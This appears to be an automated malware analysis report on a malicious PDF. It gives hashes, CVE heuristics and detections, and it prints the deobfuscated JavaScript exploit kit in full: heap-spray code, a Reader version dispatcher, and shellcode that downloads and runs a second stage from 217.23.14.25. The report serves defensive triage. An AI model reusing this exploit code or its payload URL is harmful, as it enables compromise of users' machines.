Malicious PDF — malware analysis report

Static analysis result for SHA-256 1590ba159082d88c…

MALICIOUS

PDF

4.3 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe First seen: 2013-08-29
MD5: b8c107678794754a8366eb0e71976376 SHA-1: c255e323c636663f5a23c120d9f1dd3408a8879d SHA-256: 1590ba159082d88c59fedfb08e82127d9a92a2324bcece4d823965bdbe959b49
650 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, and CVE-2007-5659. The JavaScript is designed to download and execute a second-stage payload from the URLs http://217.23.14.25/cont/load.php?spl=pdf_new and http://217.23.14.25/cont/load.php?spl=pdf_pack. This behavior is consistent with a dropper or exploit kit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7232422-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7232422-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval(vvv);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://217.23.14.25/cont/load.php?spl=pdf_new Referenced by PDF JavaScript
    • http://217.23.14.25/cont/load.php?spl=pdf_packReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0xC90 59 bytes
SHA-256: 29c42e175a66272faee8b4e921f8a0f5cc81aacff43ba21aeba94ae41a8cbda5
Preview script
First 1,000 lines of the extracted script
var z = unescape;var prcnt = '%';
var ks = eval;
javascript_obj0016_001.js pdf-javascript-stream PDF /JS object 16 at offset 0xD1B 135 bytes
SHA-256: d81958cb14f3fe4b74fb1c1a9eb6b6d29bb2e1f0e617f023169be6a773575fdb
Preview script
First 1,000 lines of the extracted script
ks('var codes = this.in'+z("%66%6f%2e%61%75%74")+'hor;');

var xxx = ks('codes.re'+'pl'+'ac'+'e('+'/lka1/g'+',prcnt)');
javascript_obj0026_002.js pdf-javascript-stream PDF /JS object 26 at offset 0xDE9 47 bytes
SHA-256: 30439b6e1eef14d16582940e17a06cf57a4d10a6eb05968af29c2845092822d4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var vvv = z(unescape(xxx));
eval(vvv);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x23B 6406 bytes
SHA-256: 3137acd3b3494c02d1593964a9b33554e1813361ab3a68c5f2dbd858eb9e70d9
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}  function printd(){var shellcode = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u322F%u3731%u322E%u2E33%u3431%u322E%u2F35%u6F63%u746E%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u656E%u0077");var block = unescape("%u0c0c%u0c0c");var GDagaCuyNfRSFzaSZLO = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u514e%u4865%u4844%u724f%u4a6e%u6d43%u4b51%u4b79%u7156%u4d41%u5944%u596b%u7979%u625a%u626f%u7a6e%u634e%u4a4d%u6341%u6253%u4154%u5670%u5543%u4273%u4c51%u576d%u5772%u5670");while(block.length <= 32768) block+=block;block=block.substring(0,32768 - shellcode.length);memory=new Array();for(i=0;i<0x2000;i++) {memory[i]= block + shellcode;}util.printd("rlpPpjTXXIncUhwagCzcuHfmkzObBSZDGNdC", new Date());util.printd("SotSxNQvMqKNjJkIXioKlmfZYfmiPGgGNNKn", new Date());try {this.media.newPlayer(null);} catch(e) {}util.printd(GDagaCuyNfRSFzaSZLO, new Date());}  function util_printf(){var payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u322F%u3731%u322E%u2E33%u3431%u322E%u2F35%u6F63%u746E%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6170%u6B63");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");  var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}  var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}  var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}  var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}  function collab_email(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u322F%u3731%u322E%u2E33%u3431%u322E%u2F35%u6F63%u746E%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6170%u6B63");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}  var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}  this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}  function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u322F%u3731%u322E%u2E33%u3431%u322E%u2F35%u6F63%u746E%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6170%u6B63");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}  var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}  tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}  function PPPDDDFF(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}  if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}  if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}  printd();  }  PPPDDDFF();

Open this report in the interactive analyzer, or submit your own file for analysis.